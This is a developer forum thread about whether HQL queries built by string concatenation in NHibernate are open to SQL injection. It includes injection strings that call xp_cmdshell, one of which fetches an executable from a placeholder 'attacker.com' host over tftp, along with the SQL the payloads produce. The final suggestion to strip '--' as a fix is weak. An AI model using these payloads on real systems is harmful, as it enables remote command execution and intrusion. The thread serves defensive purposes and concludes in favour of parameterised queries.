Hi, I tried submitting query by constructing WHERE clause manually.

Dim q As IQuery
Dim session As ISession
Dim result As IList

filter = "criteria_A LIKE '%textbox1%' AND criteria_B LIKE '%textbox2%'"

sql = "FROM mynamespace.someobj WHERE "

sql = sql + filter

q = session.CreateQuery(sql)
result = q.List()


Now, I used SQL Profiler to capture the generated statement:

SELECT ... FROM someobj WHERE (criteria_A LIKE '%textbox1%') AND (criteria_B LIKE '%textbox2%')

Pay attention to "bracket" around each criteria. It seems to me I can't type in "textbox2" nasty things like:

EXEC master..xp_cmdshell 'tftp -i attacker.com GET source.exe C:\destination.exe'

I actaully tried this in textbox2:

1%' EXEC master..xp_cmdshell 'cmd.exe' --


But the "brackets" arround each "criteria" generated by NHibernate nullify the attack - you will end up with sql exception due to un-match brackets in query string. However, relying on NHibernate to put brackets around each criteria... seems a bit insecure.

1. Is there any way to do SQL injection with NHibernate?
2. Could we use IDataParameter with NHibernate in any way?

Thanks in advance.

1. I don't know any, but I am sure there are :wink:
2. You just have to use parameters (named or not) when sending your queries to the Session...

The brackets in your example don't prevent SQL injection - a hacker just needs to make sure that their text starts with a closing quote and bracket, and finishes with an opening bracket and quote!
As KPixel says, parameters is the way to avoid this. Never build WHERE clauses manually from data typed in by users.

Hi, thanks but I can't agree with you. And sorry took almost a day to post this feedback but here you go:

1. attack string / user input
%' EXEC master..xp_cmdshell 'notepad' --

2. raw filter string:
INVREQ.Remarks LIKE '%%' EXEC master..xp_cmdshell 'notepad' --%'

3. raw sql string / concatenated

SELECT COUNT(*)
FROM warehouse.to.InvRequest AS INVREQ
WHERE
INVREQ.RequestID IN
(
SELECT INVREQITEM.ParentInvRequest.RequestID
FROM warehouse.to.inv_request_item AS INVREQITEM
WHERE
INVREQITEM.ParentInvRequest.RequestID=INVREQ.RequestID
AND
(INVREQITEM.StatusID=5 OR INVREQITEM.StatusID=12)
)

AND

INVREQ.Remarks LIKE '%%'

EXEC master..xp_cmdshell 'notepad' --%'


NOTE: This seems to be a well formed statement.

4. SQL Profiler captured string:

select COUNT(*) as x0_0_
from inv_request invreque0_
where
(
invreque0_.request_id
IN
(
select inv_requ1_.request_id
from inv_request_item inv_requ1_
where
(inv_requ1_.request_id=invreque0_.request_id)
AND
((inv_requ1_.status_id=5)OR(inv_requ1_.status_id=12))
)
)

AND

(invreque0_.remarks LIKE '%%'

EXEC master..xp_cmdshell 'notepad'--%)


NOTE:
1. See the last criteria clause "remarks like '%%'" has no matching bracket because of "--", which comment out the HNhibernate generated closing bracket.
2. NHibernate.ADOException with inner exception SqlException: "Incorrect syntax near the keyword 'EXEC'" and "could not execute query"
--- so, the query cannot execute anyway.

Thanks.

I have performed tests in the past which achieve SQL injection when building an HQL query WHERE clause in code. When I have time, I'll dig out the code and post it here.

Hey thanks. But please check to see if NHibernate query processing logic has changed since then. I mean, the way NHibernate generates "brackets" around criteria.

I captured INSERT and UPDATE statements. It uses paramters regardless and no injection is possible under any circumstances.

1. UPDATE statement:

UPDATE inv_delivery SET deliver_date = @p0, deliver_from = @p1, waybill_no = @p2, at_consignee = @p3, remarks = @p4, CreateBy = @p5, CreateDate = @p6, LastUpdateBy = @p7, LastUpdateDate = @p8 WHERE deliver_id = @p9', @p0 = 'Dec 2 2005 12:00:00:000AM', @p1 = N'south asia', @p2 = N'hello123', @p3 = N'mis', @p4 = N'def'' --', @p5 = 115, @p6 = 'Dec 6 2005 2:49:00:000PM', @p7 = 115, @p8 = 'Dec 8 2005 9:44:48:000AM', @p9 = 783

2. INSERT statement:

INSERT INTO inv_delivery (deliver_date, deliver_from, waybill_no, at_consignee, remarks, CreateBy, CreateDate, LastUpdateBy, LastUpdateDate) VALUES (@p0, @p1, @p2, @p3, @p4, @p5, @p6, @p7, @p8); select SCOPE_IDENTITY()', @p0 = 'Dec 8 2005 12:00:00:000AM', @p1 = N'aaa', @p2 = N'bbb', @p3 = N'ccc', @p4 = N'ddd', @p5 = 115, @p6 = 'Dec 8 2005 9:46:54:000AM', @p7 = 0, @p8 = NULL

I can confirm that I haven't been able to recreate my earlier experiments - as you suggest it was with an earlier version of NHibernate.

However, I wouldn't like to take this as a guarantee that it can't be done. I'd still strongly recommend parameterised queries as the safest method.

OK, I have now remembered the example I found. It didn't allow me to run malicious code, but did give unauthorised access.

The user logs on be entering user name and password into a form and clicking a button. The HQL is built and executed in the button's Click event handler...

I then type the following in textBox1:
and leave textBox2 empty. This gives the following HSQL:
which successfully logs on as SomeUser without knowing the password!

This was quickly improved by switching to a parameterised query.

Yes, thanks for the advice. I think I can agree with you unless you use parametric query otherwise it's prone to some kind of attack.

A quick fix however, is to remove all instances of "--" from the input string to *at least* render the query invalid.

Anyway, thanks.